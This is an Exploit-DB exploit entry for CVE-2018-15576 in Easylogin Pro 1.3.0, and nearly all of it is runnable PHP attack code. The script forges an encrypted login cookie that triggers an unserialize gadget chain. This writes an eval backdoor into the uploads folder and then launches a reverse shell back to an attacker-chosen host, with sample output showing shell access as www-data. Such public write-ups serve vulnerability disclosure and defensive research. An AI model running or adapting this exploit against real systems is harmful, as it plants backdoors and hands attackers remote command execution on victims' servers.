Easylogin Pro 1.3.0 - Encryptor.php Unserialize Remote Code Execution

EDB-ID: 45227
Author: mr_me
Published: 2018-08-20
CVE: CVE-2018-15576
Type: Remote
Platform: PHP
Aliases: N/A
Advisory/Source: Link
Tags: Remote
Vulnerable App: N/A

 <?php 
/*
Easylogin Pro Encryptor.php Unserialize Remote Code Execution Vulnerability
Version: 1.3.0
Platform: Ubuntu Server 18.04.1

Bug found by: @f99942
Tekniq/exploit by: @steventseeley (mr_me)
CVE: CVE-2018-15576

Notes:
======

- This is not really a security issue I guess, because you need to know the key.
But a simple disclosure bug could mean its game over for Easylogin Pro
- You will need PHP with threading support to run this exploit
- Laravel + Guzzle === lol

Example:
========

[email protected]:~$ php -m | grep pthreads && php --version
pthreads
PHP 7.2.2 (cli) (built: Aug 10 2018 01:30:10) ( ZTS DEBUG )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.2.2, Copyright (c) 1999-2018, by Zend Technologies

[email protected]:~$ ./e.php

Easylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
Bug found by: @f99942
Tekniq/exploit by: @steventseeley (mr_me)

----------------------------------------------------
Usage: php ./e.php -t <ip> -c <ip:port>
-t: target server (ip with or without port)
-c: connectback server (ip and port)
Example:
php ./e.php -t 172.16.175.136 -c 172.16.175.137:1337
----------------------------------------------------
[email protected]:~$ ./e.php -t 172.16.175.137 -c 172.16.175.136:1337

Easylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
bug found by: @f99942
tekniq/exploit by: @steventseeley (mr_me)

(+) snap...
(+) crackle...
(+) pop!
(+) connectback from 172.16.175.137 via port 41860

[email protected]:/var/www/html/uploads$ id;uname -a
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 4.15.0-30-generic #32-Ubuntu SMP Thu Jul 26 17:42:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[email protected]:/var/www/html/uploads$ ls -la
total 12
drwxrwxrwx 2 www-data www-data 4096 Aug 12 23:06 .
drwxr-xr-x 9 www-data www-data 4096 Aug 9 14:49 ..
-rwxrwxrwx 1 root root 13 Dec 12 2017 .gitignore
[email protected]:/var/www/html/uploads$ php --version
PHP 7.2.7-0ubuntu0.18.04.2 (cli) (built: Jul 4 2018 16:55:24) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.2.7-0ubuntu0.18.04.2, Copyright (c) 1999-2018, by Zend Technologies
[email protected]:/var/www/html/uploads$
*/

namespace GuzzleHttp\Cookie;

// change these to work against your target
$key = "OPudCtPyxzAGw8LkQowOoQAc88dvULGB";
$path = "/var/www/html";

class Encrypter {
protected $key;
protected $cipher;

public function __construct($key, $cipher = 'AES-256-CBC'){
$key = (string) $key;
$this->key = $key;
$this->cipher = $cipher;
}

public function encrypt($value, $serialize = true){
$iv = random_bytes(openssl_cipher_iv_length($this->cipher));
$value = openssl_encrypt(
$serialize ? serialize($value) : $value,
$this->cipher, $this->key, 0, $iv
);
if ($value === false) {
throw new EncryptException('Could not encrypt the data.');
}
$mac = $this->hash($iv = base64_encode($iv), $value);
$json = json_encode(compact('iv', 'value', 'mac'));
if (json_last_error() !== JSON_ERROR_NONE) {
throw new EncryptException('Could not encrypt the data.');
}
return base64_encode($json);
}

public function encryptString($value){
return $this->encrypt($value, false);
}

protected function hash($iv, $value){
return hash_hmac('sha256', $iv.$value, $this->key);
}
}

// pop chain
interface ToArrayInterface {}

class SetCookie implements ToArrayInterface {
private $data;

public function __construct(array $data = []){
$this->data = $data;
}
}

class CookieJar implements ToArrayInterface {
private $cookies;

public function setCookie(SetCookie $cookie){
$this->cookies = array($cookie);
}
}

class FileCookieJar extends CookieJar {
private $filename;

public function __construct($bd_file, $cbh, $cbp){
$this->filename = $bd_file;
$this->setCookie(new SetCookie(array(
"Value" => '<?php eval(base64_decode($_SERVER[HTTP_SI])); ?>',
"Expires" => true,
"Discard" => false,
)));
}
}

class Exploit{
private $target;
private $targetport;
private $cbhost;
private $cbport;
private $key;
private $path;

public function __construct($t, $tp, $cbh, $cbp, $k, $p){
$this->target = $t;
$this->targetport = $tp;
$this->cbhost = $cbh;
$this->cbport = $cbp;
$this->key = $k;
$this->path = $p;
}

public function run(){

// its possible to leak the path if app.php contains 'debug' => true
// also, uploads is writable by default for avatars
$fcj = new FileCookieJar("$this->path/uploads/si.php", $this->cbhost, $this->cbport);
$e = new Encrypter($this->key);
$this->p = $e->encryptString(serialize($fcj));

// hardcoded md5 of the class name 'Hazzard\Auth\Auth' for the cookie login
$c = $this->do_get("index.php", array("Cookie: login_ac5456751dd3c394383a14228642391e=$this->p"));
if ($c === 500){
print "(+) pop!\r\n";

// start our listener
$s = new Shell($this->cbport);
$s->start();

// msf reverse shell with some stuff modified
$rs = <<<'PHP'
@error_reporting(-1);
@set_time_limit(0);
@ignore_user_abort(1);
[email protected]_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='[cbhost]';
$port=[cbport];
function PtdSlhY($c){
global $dis;
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
// we disappear like a fart in the wind
@unlink("si.php");
$nofuncs='no exec functions';
[email protected]("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);
PHP;
$rs = str_replace("[cbhost]", $this->cbhost, $rs);
$rs = str_replace("[cbport]", $this->cbport, $rs);
$php = base64_encode($rs);
$this->do_get("uploads/si.php", array("si: $php"));
}
}

private function do_get($p = "index.php", array $h = []){
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_URL => "http://$this->target/$p",
CURLOPT_HTTPHEADER => $h,
CURLOPT_PORT => (int) $this->targetport
));
$resp = curl_exec($curl);
return curl_getinfo($curl, CURLINFO_HTTP_CODE);
}
}

class Shell extends \Thread{
private $cbport;

public function __construct($cbp){
$this->cbport = $cbp;
}

public function run(){
$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$ret = @socket_bind($sock, 0, (int) $this->cbport);
$ret = @socket_listen($sock, 5);
$msgsock = @socket_accept($sock);
@socket_close($sock);
$start = true;
$fp = fopen("php://stdin", "r");
while(false !== @socket_select($r = array($msgsock))){
if ($start === true){
if (socket_getpeername($r[0], $a, $p) === true){
print "(+) connectback from $a via port $p\r\n";
$s = $this->exec_cmd($msgsock, "echo `whoami`@`hostname`:\n");
}
}
$start = false;

// the pretty shells illusion
print "\r\n".$s.$this->exec_cmd($msgsock, "echo `pwd`\n")."$ ";

// get our command...
$c = fgets($fp);

// if the attacker enters nothing, continue...
if (strpos("\n", $c) === 0){
continue;
}
if (strpos($c, "cd") === false){
print $this->exec_cmd($msgsock, $c);
}elseif (strpos($c, "cd") !== false){
$this->exec_cmd($msgsock, $c, false);
}
if(in_array($c, array("exit\n", "quit\n"))){
break;
}
}
fclose($fp);
}

private function exec_cmd($c, $cmd, $ret=true){

// send our command to the reverse shell
@socket_write($c, $cmd, strlen($cmd));

if ($ret == true){
// we don't care to get the shell prompt back...
$resp = trim(@socket_read($c, 2048, PHP_BINARY_READ));
if ($resp === "NULL"){
return "";
}else{
return $resp;
}
}
}
}

print_r("\r\nEasylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
Bug found by: @f99942
Tekniq/exploit by: @steventseeley (mr_me)\r\n");

if ($argc < 3) {
print_r("
----------------------------------------------------
Usage: php ".$argv[0]." -t <ip> -c <ip:port>
-t: target server (ip with or without port)
-c: connectback server (ip and port)
Example:
php ".$argv[0]." -t 172.16.175.136 -c 172.16.175.137:1337
----------------------------------------------------
"); die; }

function set_args($argv) {
$_ARG = array();
foreach ($argv as $arg) {
if (preg_match("/--([^=]+)=(.*)/", $arg, $reg)) {
$_ARG[$reg[1]] = $reg[2];
} elseif(preg_match("/^-([a-zA-Z0-9])/", $arg, $reg)) {
$_ARG[$reg[1]] = "true";
} else {
$_ARG["input"][] = $arg;
}
}
return $_ARG;
}

$args = set_args($argv);
$host = $args["input"]["1"];
$cbsp = $args["input"]["2"];

if (strpos($host, ":") == true){
$host_and_port = explode(":", $host);
$host = $host_and_port[0];
$port = $host_and_port[1];
}else{
$port = 80;
}

if (strpos($cbsp, ":") == true){
$cbhost_and_cbport = explode(":", $cbsp);
$cbhost = $cbhost_and_cbport[0];
$cbport = $cbhost_and_cbport[1];
}else{
$cbport = 1337;
}

$ip_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)";
if ((preg_match($ip_regex, $host) === 1) && (preg_match($ip_regex, $cbhost) === 1)){

// exploit entry
$poc = new Exploit($host, $port, $cbhost, $cbport, $key, $path);
print "\r\n(+) snap...\r\n(+) crackle...\r\n";
$poc->run();
}
/*
eyJpdiI6InFGcWFDMW9aMEFwWmo2XC9RRkhxZ3JBPT0iLCJ2YWx1ZSI6IjdpVExUQWpaYVpu
RjVVRElxczg1YUVpSWl2bEtXOVwvY3BVaDFkc0NNY0Y4NkhMME9XNE9PZHJxc0FhUFBlenpi
VWtJSUNHWE9RYU5MQjVnOUgzUkt4RGc0QlE4TDNZSnpueFZlblVjM3NnVXFmeE0zSnZaRFA2
a2gxU1l2QlVYNW5pUkZEd3c2RFJWYnpqRFkyUmdOQW5vZkVtaFA0Y2JDRW1kUU5mNWtGdmh3
WDJWYlBmQU0rTkFwWExQOERWcEZDVTYzU255VEFaTzN4MzhZTEUxWElRbnNCZ1grWm9rN3Vh
MzBzSnYrSGpjMmlRRWMxZWVTbDVhN29uOG1RazBJIiwibWFjIjoiOThmYTM5ZDc3M2FlMGVh
NTI3ZWI2ZGNkODQ5N2ZmZmExNDA3YjdjYzYzMGRlODY3NDZmMjRkYTBiNmVjMGJmMCJ9
*/
?>

Related Posts